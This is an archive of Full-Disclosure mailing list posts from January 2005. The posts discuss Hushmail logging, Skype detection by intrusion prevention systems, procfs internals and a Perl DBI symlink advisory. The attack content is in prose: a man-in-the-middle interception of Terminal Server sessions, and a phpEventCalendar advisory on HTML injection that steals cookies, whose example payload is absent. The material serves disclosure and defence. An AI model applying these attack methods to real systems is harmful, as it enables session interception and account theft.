50 Rik.Bobbaers at cc.kuleuven.ac.be -=- http://harry.ulyssis.org "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former" --A. Einstein From nick at virus-l.demon.co.uk Tue Jan 25 09:25:57 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Tue, 25 Jan 2005 22:25:57 +1300 Subject: [Full-Disclosure] Can we have... In-Reply-To: <41F5CCA2.7070608@deaddrop.org> References: <41F5C1E3.7060508@ecu.edu.au> Message-ID: <41F6C775.11225.4766189E@localhost> Etaoin Shrdlu to Brian Anderson: <> > > I have previously messaged the List-Owner regarding adding this > > however he suggested I ask the list so here I am. > > > > Do you believe that this is "good idea" and should be implemented? > > It is not at all a good idea. ... Au contraire... > ... I don't read the list in a digest, ... In which case the issue Brian was asking about is moot! > ... and > can't see why I should Might I suggest either using a gmail account to > subscribe, or channeling it in as a newsgroup (ala Usenet), which will > allow you to have what you want, and not inconvenience the rest of us. > > Anything not plaintext just doesn't belong on a security mailing list. As I pointed out in another message, Mailman is supposed to support the MIME multipart/digest content type as a user-selectable option _AFTER_ they have chosen the digest option. If this option were made available by the list admins _AND_ Brian chose it,, it would not affect your copies of the list mail at all. Regards, Nick FitzGerald From temp739 at yahoo.com Tue Jan 25 10:12:38 2005 From: temp739 at yahoo.com (Pseudo Nym) Date: Tue, 25 Jan 2005 02:12:38 -0800 (PST) Subject: [Full-Disclosure] hushmail.com, is this true? Message-ID: <20050125101238.48181.qmail@web61201.mail.yahoo.com> I'm interested in finding if there is any truth behind these claims at hushmail.com. Can anyone tell of their experiences with hushmail or give them a review? Does anyone know of a different service that claims not to log IPs? >From the Hushmail Technical FAQ: Is there any way the recipient of a Hush message knows the IP number I am sending from? No. Does Hush track IP addresses of visitors or address holders? Hushmail.com does log IP addresses to analyze market trends and gather broad demographic information for aggregate use. However, Hushmail.com will never log your IP address in such a way that it can be associated with your Hushmail email address or identity. The procedure does NOT affect the anonymity of the user at any stage. Any information would be greatly appreciated. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From andfarm at teknovis.com Tue Jan 25 10:13:17 2005 From: andfarm at teknovis.com (Andrew Farmer) Date: Tue, 25 Jan 2005 02:13:17 -0800 Subject: [Full-Disclosure] Can we have... In-Reply-To: <41F5CCA2.7070608@deaddrop.org> References: <41F5C1E3.7060508@ecu.edu.au> <41F5CCA2.7070608@deaddrop.org> Message-ID: On 24 Jan 2005, at 20:35, Etaoin Shrdlu wrote: > Anything not plaintext just doesn't belong on a security mailing list. This has nothing to do with plaintext messages. multipart/mixed is still plain text - just with headers separating sections. Myself? I don't use digests myself, but I see no reason not to allow readers to use multipart/mixed digests. -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 186 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/c8242026/attachment.bin From stfunub at gmail.com Tue Jan 25 10:54:09 2005 From: stfunub at gmail.com (Andrew Smith) Date: Tue, 25 Jan 2005 10:54:09 +0000 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <20050125101238.48181.qmail@web61201.mail.yahoo.com> References: <20050125101238.48181.qmail@web61201.mail.yahoo.com> Message-ID: <33713abc05012502543c54d4ef@mail.gmail.com> To me this suggests that, unlike most web based e-mail providers such as hotmail, hushmail does not send the user's I.P address in the headers of the e-mail address, but hushmail still logs IP addresses. From larry at larryseltzer.com Tue Jan 25 11:26:42 2005 From: larry at larryseltzer.com (Larry Seltzer) Date: Tue, 25 Jan 2005 06:26:42 -0500 Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities In-Reply-To: <1106637530.1948.304.camel@meposs> Message-ID: >>> [MS] claim there are no >>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 >>> Service Pack 4. >>> >>> I find that hard to believe and I know you guys will know if they are >>> full of it, or they are correct. Please let me know ASAP of any >>> CURRENT vulnerabilities int Terminal Server. >>Try here for starters: >>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8 >>(2,310 results) Just as I figured. Based only on the first 25 or so, all of the real exploits discussed are patched and the vast majority of them apply to Windows NT 4.0 Terminal Server. The original poster asked about "CURRENT" vulnerabilities. The one remaining issue I remembered is on this page (http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good collection of vulnerabilities in general. It is a man-in-the-middle attack that could allow an attacker, using a collection of techniques including IP spoofing, to recover the original plaintext session. RDP, the Terminal Server protocol, is encrypted by default. The worst thing you have to do to work around this is to use a VPN, but considering what they would recover is RDP data (mouse moves, key clicks, GDI elements, etc.) I consider this a relatively high-overhead attack. Your Windows Terminal Server is much more likely to be vulnernerable to a problem in Windows than one specifically in Terminal Server, which has a very good security history. Larry Seltzer eWEEK.com Security Center Editor http://security.eweek.com/ http://blog.ziffdavis.com/seltzer larryseltzer at ziffdavis.com From alain at ait.ac.th Tue Jan 25 12:04:29 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Tue, 25 Jan 2005 19:04:29 +0700 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050125080505.9D8A625C013@mail.nettracers.com> References: <20050125030523.GC16639@ait.ac.th> <20050125080505.9D8A625C013@mail.nettracers.com> Message-ID: <20050125120429.GE23798@ait.ac.th> Bryan, Thanks for your input. On Tue, Jan 25, 2005 at 12:04:45AM -0800, lists-security at nettracers.com wrote: > Full-Disclosure aspect: knowing the capabilities and limitations of the > various firewalls employed. How policies can be violated without detection. > Vendors and open-source community need to push to solve these real world > problems. > > >...but the real question is: can they detect SkyPE specifically? > > This is from a Fortigate with factory release NIDS, AV and IPS databases - > nothing custom - (someone with a checkpoint and others may pipe in here with > their capabilities): > > On Status page: > Recent Intrusion Detections > Time Src/Dst Service Attack Name > 2005-01-24 22:35:16 10.0.0.12 206.14.209.40 http skype > > Skype In Alert Log: > 2005-01-24 22:35:16 log_id=1421051110 type=ips subtype=signature pri=alert > vd=root attack_id=109051909 src=10.0.0.12 dst=206.14.209.40 src_port=3743 > dst_port=80 src_int=port1 dst_int=port2 status=detected proto=6 service=http > msg="p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909]" > I think that this may trigger on the regular HTTP request that SkyPE does at start up (and only then). This checks the SkyPE web site for updates. This is also what the available Snort signature trigger on, simply because it's the only kind of traffic that has a recognizable signature. How many hits do you have for a given client IP on this rule? If it's really triggering on VoIP traffic, you should get many per second. > I am not blocking skype traffic or the kazaa traffic that is detected, but > use this info to quantify the use of the network and to throttle bandwidth > if needed to maintain QOS for business-critical functions. If that's just the version check traffic (and my gut feeling is that it is, considering the data you've shown), this is *not* the kind of SkyPE traffic you'd want to classify, and your QoS probably doesn't do what you think it does (unless it shapes all traffic to/from that client's IP)... What do you think? [rest deleted - amen to all of this... including the pathetic "security advice" of the SkyPE folks] Greets, _Alain_ From temp739 at yahoo.com Tue Jan 25 13:24:46 2005 From: temp739 at yahoo.com (Pseudo Nym) Date: Tue, 25 Jan 2005 05:24:46 -0800 (PST) Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <33713abc05012502543c54d4ef@mail.gmail.com> Message-ID: <20050125132447.64564.qmail@web61203.mail.yahoo.com> I was asking for anyone with evidence or experience dealing with hushmail. You seem to have neither. Can anyone verify hushmail's claims or provide some recounting of events that would seem to bolster their claims? Thank you. --- Andrew Smith wrote: > To me this suggests that, unlike most web based > e-mail providers such > as hotmail, hushmail does not send the user's I.P > address in the > headers of the e-mail address, but hushmail still > logs IP addresses. > __________________________________ Do you Yahoo!? Yahoo! Mail - Helps protect you from nasty viruses. http://promotions.yahoo.com/new_mail From atte.peltomaki at f-secure.com Tue Jan 25 15:46:26 2005 From: atte.peltomaki at f-secure.com (Atte Peltomaki) Date: Tue, 25 Jan 2005 17:46:26 +0200 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com> References: <33713abc05012502543c54d4ef@mail.gmail.com> <20050125132447.64564.qmail@web61203.mail.yahoo.com> Message-ID: <20050125154626.GA13732@localhost.localdomain> > I was asking for anyone with evidence or experience > dealing with hushmail. You seem to have neither. > > Can anyone verify hushmail's claims or provide some > recounting of events that would seem to bolster their > claims? > > --- Andrew Smith wrote: > > > To me this suggests that, unlike most web based > > e-mail providers such > > as hotmail, hushmail does not send the user's I.P > > address in the > > headers of the e-mail address, but hushmail still > > logs IP addresses. What seems to be the problem to cause this great distress? It has been concluded that hushmail.com does not include sender's IP address in the mail headers. Register an account and send a mail to yourself to find out, or are you asking us to do it for you? -- ____________ \ ______// Atte Peltom?ki - Atte.Peltomaki at F-Secure.com \ \\____ IT Engineer - IT Server Team \ __// F-Secure Corp. PL 24, FIN-00181 Helsinki, Finland \ \\ Tel: +358 9 2520 0700, direct: +358 9 2520 5423 \ // http://www.F-Secure.com \/ Integrated Solutions for Enterprise Security From Valdis.Kletnieks at vt.edu Tue Jan 25 16:19:52 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 11:19:52 -0500 Subject: [Full-Disclosure] Mirroring procfs. In-Reply-To: Your message of "Tue, 25 Jan 2005 08:58:39 GMT." <20050125085839.2912.qmail@webmail31.rediffmail.com> References: <20050125085839.2912.qmail@webmail31.rediffmail.com> Message-ID: <200501251619.j0PGJqvx013025@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 08:58:39 GMT, preeth k said: > I work on Redhat Linux and we want to know if there is any method to mirror > the '/proc' filesystem on one machine-A to another machine-B so as to monitor > all the events occuring in A using machine-B The problem is that even if you *could* mirror /proc in any sensible way, that would not actually monitor "all the events". If you look closely at the source code for the 'procfs' file system (see the code in fs/proc/*.c), you'd realize that /proc entries are created *on the fly*. There's not really anything *in* that file system - it all gets created "on the fly" as you reference it. Sure, /proc/$$/cwd *looks* like a symlink to your current working directory, but look how it's actually implemented (looking at a 2.6.11-rc2-mm1 kernel here, your code may differ): static int proc_cwd_link(struct inode *inode, struct dentry **dentry, struct vfsmount **mnt) { struct fs_struct *fs; int result = -ENOENT; task_lock(proc_task(inode)); fs = proc_task(inode)->fs; if(fs) atomic_inc(&fs->count); task_unlock(proc_task(inode)); if (fs) { read_lock(&fs->lock); *mnt = mntget(fs->pwdmnt); *dentry = dget(fs->pwd); read_unlock(&fs->lock); result = 0; put_fs_struct(fs); } return result; } The magic here is "*dentry = dget(fs->pwd);" - basically, they just create a clone of a reference to the process's working directory and return it. Similarly, the list of directories /proc/NNN for each process ID NNN is generated on the fly by walking the process table. So if a process fork()s to create a new PID, it does *NOT* create a /proc entry *unless somebody actually looks for it*. If you fork and create process 994, and then it exits before anybody looks in /proc for it, /proc/994 *never actually happens*. What you *really* need to mirror to machine-b is enough information of the kernel's internal state (fork/exec/open/and all the rest), so that your monitor on B is able to track what's going on... What "events" were you hoping to monitor, and why? Understanding that would help a lot in pointing you in a useful direction.... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1bb86a7a/attachment.bin From shrdlu at deaddrop.org Tue Jan 25 16:54:20 2005 From: shrdlu at deaddrop.org (Etaoin Shrdlu) Date: Tue, 25 Jan 2005 08:54:20 -0800 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com> References: <20050125132447.64564.qmail@web61203.mail.yahoo.com> Message-ID: <41F679BC.1040803@deaddrop.org> Pseudo Nym wrote: >I was asking for anyone with evidence or experience >dealing with hushmail. You seem to have neither. > > Well, at least he had the courtesy to reply to you. But read on, MacDuff. >Can anyone verify hushmail's claims or provide some >recounting of events that would seem to bolster their >claims? > >Thank you. > > >--- Andrew Smith wrote: > > > >>To me this suggests that, unlike most web based >>e-mail providers such >>as hotmail, hushmail does not send the user's I.P >>address in the >>headers of the e-mail address, but hushmail still >>logs IP addresses. >> Well, that would certainly be true, unlike the Yahoo account you just posted from. I could be incredibly entertaining by posting the results of *that*, but I won't waste the bandwidth. If you are looking for protection due to political oppression, use an anonymous remailer. If you're not planning on using your hushmail account to break the law in a big way, what on earth are you concerned about? They are quite clear in what they do and don't log; I know some of the people who work (or worked) there. They are all quite honorable. What are you trying to imply? What is your concern? -- "Remember you told me to tell you when you were acting rudely and insensitively? Remember that? You're doing it right now." from Wargames From martin.pitt at canonical.com Tue Jan 25 16:45:27 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Tue, 25 Jan 2005 17:45:27 +0100 Subject: [Full-Disclosure] [USN-70-1] Perl DBI module vulnerability Message-ID: <20050125164526.GA30776@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-70-1 January 25, 2005 libdbi-perl vulnerabilities CAN-2005-0077 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: libdbi-perl The problem can be corrected by upgrading the affected package to version 1.42-3ubuntu0.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a from the Debian Security Audit Project discovered that the module DBI::ProxyServer in Perl's DBI library created a PID file in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking a program using this module (like 'dbiproxy'). Now the module does not create a such a PID file by default. Source archives: http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1.diff.gz Size/MD5: 13840 0ea63225d70126bd2492516466a2209d http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1.dsc Size/MD5: 608 f6a5286d0a38572cd3ff944669ecf457 http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42.orig.tar.gz Size/MD5: 348167 ca8c8a1a4797d98121b41c1d0a5b3b7c amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_amd64.deb Size/MD5: 575324 487ed69858f7a4d6b0bc4810ea9b99ec i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_i386.deb Size/MD5: 573900 eb99ce7af5c6c89bdc969210107807ae powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_powerpc.deb Size/MD5: 577426 58c6f55a93ba0081a0737d16449a0dc8 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1bf8e242/attachment.bin From Mark.Senior at gov.ab.ca Tue Jan 25 16:59:39 2005 From: Mark.Senior at gov.ab.ca (Mark Senior) Date: Tue, 25 Jan 2005 09:59:39 -0700 Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities Message-ID: <490D41B02BCAA943BC58CD5D31797B13011C2466@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca> Terminal Server encrypts its traffic, yes, but it doesn't do any verification of what server it's connecting to. This is equivalent to SSL with anonymous DH key agreement - you know no eavesdroppers can listen in, but you have no idea who you're talking to. So a MiTM attack is possible, there is no difficulty decrypting the traffic - you just make the entire session terminate at the attacking end, and make a new session to the real server. Yes, most of the keypresses would be uninteresting information, but there are a few right at the start, typically between a TAB and an ENTER, that might be of some interest... The annoying thing is, the server does actually have a persistent key, which the client could verify from one connection to the next - it just doesn't; it throws the key away after the connection is established. It's not unfixable; fixing it wouldn't even break the existing protocol. The client would just have to behave like an ssh client, and check its known keys. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Larry Seltzer Sent: January 25, 2005 04:27 To: 'Daniel H. Renner'; full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities >>> [MS] claim there are no >>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 >>> Service Pack 4. >>> >>> I find that hard to believe and I know you guys will know if they are >>> full of it, or they are correct. Please let me know ASAP of any >>> CURRENT vulnerabilities int Terminal Server. >>Try here for starters: >>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8 >>(2,310 results) Just as I figured. Based only on the first 25 or so, all of the real exploits discussed are patched and the vast majority of them apply to Windows NT 4.0 Terminal Server. The original poster asked about "CURRENT" vulnerabilities. The one remaining issue I remembered is on this page (http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good collection of vulnerabilities in general. It is a man-in-the-middle attack that could allow an attacker, using a collection of techniques including IP spoofing, to recover the original plaintext session. RDP, the Terminal Server protocol, is encrypted by default. The worst thing you have to do to work around this is to use a VPN, but considering what they would recover is RDP data (mouse moves, key clicks, GDI elements, etc.) I consider this a relatively high-overhead attack. Your Windows Terminal Server is much more likely to be vulnernerable to a problem in Windows than one specifically in Terminal Server, which has a very good security history. Larry Seltzer eWEEK.com Security Center Editor http://security.eweek.com/ http://blog.ziffdavis.com/seltzer larryseltzer at ziffdavis.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. From larry at larryseltzer.com Tue Jan 25 17:12:10 2005 From: larry at larryseltzer.com (Larry Seltzer) Date: Tue, 25 Jan 2005 12:12:10 -0500 Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities In-Reply-To: <490D41B02BCAA943BC58CD5D31797B13011C2466@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca> Message-ID: Yeah, fine, so if this bothers you use a VPN. I still it's something very few people need to worry about. Larry Seltzer eWEEK.com Security Center Editor http://security.eweek.com/ http://blog.ziffdavis.com/seltzer larryseltzer at ziffdavis.com -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Mark Senior Sent: Tuesday, January 25, 2005 12:00 PM To: full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities Terminal Server encrypts its traffic, yes, but it doesn't do any verification of what server it's connecting to. This is equivalent to SSL with anonymous DH key agreement - you know no eavesdroppers can listen in, but you have no idea who you're talking to. So a MiTM attack is possible, there is no difficulty decrypting the traffic - you just make the entire session terminate at the attacking end, and make a new session to the real server. Yes, most of the keypresses would be uninteresting information, but there are a few right at the start, typically between a TAB and an ENTER, that might be of some interest... The annoying thing is, the server does actually have a persistent key, which the client could verify from one connection to the next - it just doesn't; it throws the key away after the connection is established. It's not unfixable; fixing it wouldn't even break the existing protocol. The client would just have to behave like an ssh client, and check its known keys. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Larry Seltzer Sent: January 25, 2005 04:27 To: 'Daniel H. Renner'; full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities >>> [MS] claim there are no >>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 >>> Service Pack 4. >>> >>> I find that hard to believe and I know you guys will know if they are >>> full of it, or they are correct. Please let me know ASAP of any >>> CURRENT vulnerabilities int Terminal Server. >>Try here for starters: >>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8 >>(2,310 results) Just as I figured. Based only on the first 25 or so, all of the real exploits discussed are patched and the vast majority of them apply to Windows NT 4.0 Terminal Server. The original poster asked about "CURRENT" vulnerabilities. The one remaining issue I remembered is on this page (http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good collection of vulnerabilities in general. It is a man-in-the-middle attack that could allow an attacker, using a collection of techniques including IP spoofing, to recover the original plaintext session. RDP, the Terminal Server protocol, is encrypted by default. The worst thing you have to do to work around this is to use a VPN, but considering what they would recover is RDP data (mouse moves, key clicks, GDI elements, etc.) I consider this a relatively high-overhead attack. Your Windows Terminal Server is much more likely to be vulnernerable to a problem in Windows than one specifically in Terminal Server, which has a very good security history. Larry Seltzer eWEEK.com Security Center Editor http://security.eweek.com/ http://blog.ziffdavis.com/seltzer larryseltzer at ziffdavis.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From javapro13 at mac.com Tue Jan 25 17:15:34 2005 From: javapro13 at mac.com (Kartik Trivedi) Date: Tue, 25 Jan 2005 09:15:34 -0800 Subject: [Full-Disclosure] OWASP LA chapter meeting In-Reply-To: <20050125164526.GA30776@box79162.elkhouse.de> References: <20050125164526.GA30776@box79162.elkhouse.de> Message-ID: <155255.1106673334057.JavaMail.javapro13@mac.com> From javapro13 at mac.com Tue Jan 25 17:17:49 2005 From: javapro13 at mac.com (Kartik Trivedi) Date: Tue, 25 Jan 2005 09:17:49 -0800 Subject: [Full-Disclosure] OWASP LA chapter meeting Message-ID: <14316496.1106673469862.JavaMail.javapro13@mac.com> Please join us for first free OWASP LA/OC chapter meeting. Theme: (Web) Application Security Date / Time: Friday, Feb 18, 2004 / 6.00 PM to 8.00 PM Venue Foundstone, Inc 27201, Puerta Real, #400 Mission Viejo, CA 92691 Agenda 6.00 - 6.30 Arrival and chit-chat 6.30 - 6.50 Presentation 1 (20 minutes) 6.55 - 7.15 Presentation 2 (20 minutes) 7.20 - 7.50 Presentation 3 (20 minutes) 7.50 - 8.00 Wrap-up If you would like to make a presentation, post your ideas to mailing list http://lists.sourceforge.net/lists/listinfo/owasp-losangeles or contact me Credits OWASP Meetings count towards CISSP CPE Credits. RSVP Please RSVP Kartik.trivedi at owasp.org (even if you are only thinking of going) so I can get an idea of numbers. More coming?& looking forward to see you all there Thanks ... Kartik Trivedi From Bart.Lansing at kohls.com Tue Jan 25 17:22:25 2005 From: Bart.Lansing at kohls.com (Bart.Lansing at kohls.com) Date: Tue, 25 Jan 2005 11:22:25 -0600 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com> Message-ID: How hard is it to verify this yourself by, as has been suggested elsewhere, signing up and sending yourself an email? Not to overly harsh your mellow, but the solution to getting this information is not exactly ocket science... Bart Lansing Manager, Desktop Services/Lotus Notes Kohl's IT full-disclosure-bounces at lists.netsys.com wrote on 01/25/2005 07:24:46 AM: > I was asking for anyone with evidence or experience > dealing with hushmail. You seem to have neither. > > Can anyone verify hushmail's claims or provide some > recounting of events that would seem to bolster their > claims? > > Thank you. > > > --- Andrew Smith wrote: > > > To me this suggests that, unlike most web based > > e-mail providers such > > as hotmail, hushmail does not send the user's I.P > > address in the > > headers of the e-mail address, but hushmail still > > logs IP addresses. > > > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - Helps protect you from nasty viruses. > http://promotions.yahoo.com/new_mail > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html CONFIDENTIALITY NOTICE: This is a transmission from Kohl's Department Stores, Inc. and may contain information which is confidential and proprietary. If you are not the addressee, any disclosure, copying or distribution or use of the contents of this message is expressly prohibited. If you have received this transmission in error, please destroy it and notify us immediately at 262-703-7000. CAUTION: Internet and e-mail communications are Kohl's property and Kohl's reserves the right to retrieve and read any message created, sent and received. Kohl's reserves the right to monitor messages by authorized Kohl's Associates at any time without any further consent. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/346f5c02/attachment.html From Valdis.Kletnieks at vt.edu Tue Jan 25 17:31:54 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 12:31:54 -0500 Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities In-Reply-To: Your message of "Tue, 25 Jan 2005 12:12:10 EST." References: Message-ID: <200501251731.j0PHVs7K029376@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 12:12:10 EST, Larry Seltzer said: > Yeah, fine, so if this bothers you use a VPN. I still it's something > very few people need to worry about. More correctly, the vast majority of sites are so screwed security-wise that they'll never have the opportunity to see a MITM attack against Terminal Server, as they're going to get 0wned via much easier attacks..... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/bd88c675/attachment.bin From Valdis.Kletnieks at vt.edu Tue Jan 25 17:47:42 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 12:47:42 -0500 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: Your message of "Tue, 25 Jan 2005 11:22:25 CST." References: Message-ID: <200501251747.j0PHlgen017129@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 11:22:25 CST, Bart.Lansing at kohls.com said: > How hard is it to verify this yourself by, as has been suggested > elsewhere, signing up and sending yourself an email? Not to overly harsh > your mellow, but the solution to getting this information is not exactly > ocket science... Figuring out what correlating information is in the headers of the mail isn't rocket science. Figuring out what correlating information is left in the various logfiles on the hushmail servers *is* rocket science for those who aren't hushmail staff. In fact, I'm fairly sure that "hushmail tells you what is in their logfiles" is the only legal way to do it (of course, getting them to tell you will likely require the use of a subpoena or other legalistic blunt weapon...) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/06ffe94e/attachment.bin From lists-security at nettracers.com Tue Jan 25 18:05:42 2005 From: lists-security at nettracers.com (lists-security at nettracers.com) Date: Tue, 25 Jan 2005 10:05:42 -0800 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050125120429.GE23798@ait.ac.th> Message-ID: <20050125180602.ACF0025C00B@mail.nettracers.com> >I think that this may trigger on the regular HTTP request that SkyPE does at >start up (and only then). This checks the SkyPE web site for updates. This is >also what the available Snort signature trigger on, simply because it's the only >kind of traffic that has a recognizable signature. >How many hits do you have for a given client IP on this rule? If it's really >triggering on VoIP traffic, you should get many per second. I am getting 3-10 hits per second for any active system running this, example: 91 detected 09:06:35 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 80 4048 6 92 detected 09:06:29 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 4048 80 6 93 detected 09:06:13 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 4048 80 6 94 detected 09:06:06 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 80 4048 6 95 detected 09:04:11 p2p: skype,aggregated 3 times,[Reference: http://www.fortinet.com/ids/ID109051909] 80 4048 6 96 detected 09:04:05 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 4048 80 6 97 detected 09:03:36 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 80 4048 6 98 detected 09:03:29 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 4048 80 6 99 detected 09:02:08 p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909] 4048 80 6 >If that's just the version check traffic (and my gut feeling is that it is, >considering the data you've shown), this is *not* the kind of SkyPE traffic >you'd want to classify, and your QoS probably doesn't do what you think it >does (unless it shapes all traffic to/from that client's IP)... What do you >think? The plan is to shape the entire users system to throttle to a lower priority or a and/or limited bandwidth or full block when any p2p policy abuse is detected. Since you can't tell which traffic is which, just relegate that user to 9600 bps (BOFH solution). The skype encryption and traffic should be able to be mathematically characterized and classified without having to decrypt...a fun project to work on perhaps...with results fed back to the IPS system to lock down or flow control. - Bryan K. Watson - bwatson at nettracers.com From madelman at iname.com Tue Jan 25 18:38:24 2005 From: madelman at iname.com (Madelman) Date: Tue, 25 Jan 2005 19:38:24 +0100 Subject: [Full-Disclosure] phpEventCalendar HTML injection Message-ID: <41F69220.7030706@iname.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: phpEventCalendar HTML injection Vulnerability discovery: Madelman Date: 25/01/2005 Severity: Medium. Registered users can obtain other users cookies Summary: - -------- phpEventCalendar is a MySQL backed application that allows users to post and display events or notes on a month-at-a-glance calendar. A user administration panel allows authorized users (Administrators) to control who can add, delete, and edit events (Editors). (from vendor site: http://www.ikemcg.com/scripts/pec/index.html) phpEventCalendar doesn't check title and text of events inserted in the database, so we can inject arbitrary HTML which will be executed by other users. This vulnerability has been tested with phpEventCalendar 0.2 Details: - -------- When inserting a new event into the system, phpEventCalendar doesn't check the values of title and text variables, it only escapes it when necessary to avoid SQL injection. These variables will be later retrieved by other user viewing the calendar and showed with strip_slashes so we can write arbitrary HTML (or Javascript) which will be executed by other users when they look at the calendar (if inserted in title, but take care there's a limit in the length of the title shown in the calendar) or when they look at the individual entry. Example of exploitation: Insert an event with text: Solution: - --------- Upgrade to phpEventCalendar 0.2.1 Timeline - -------- 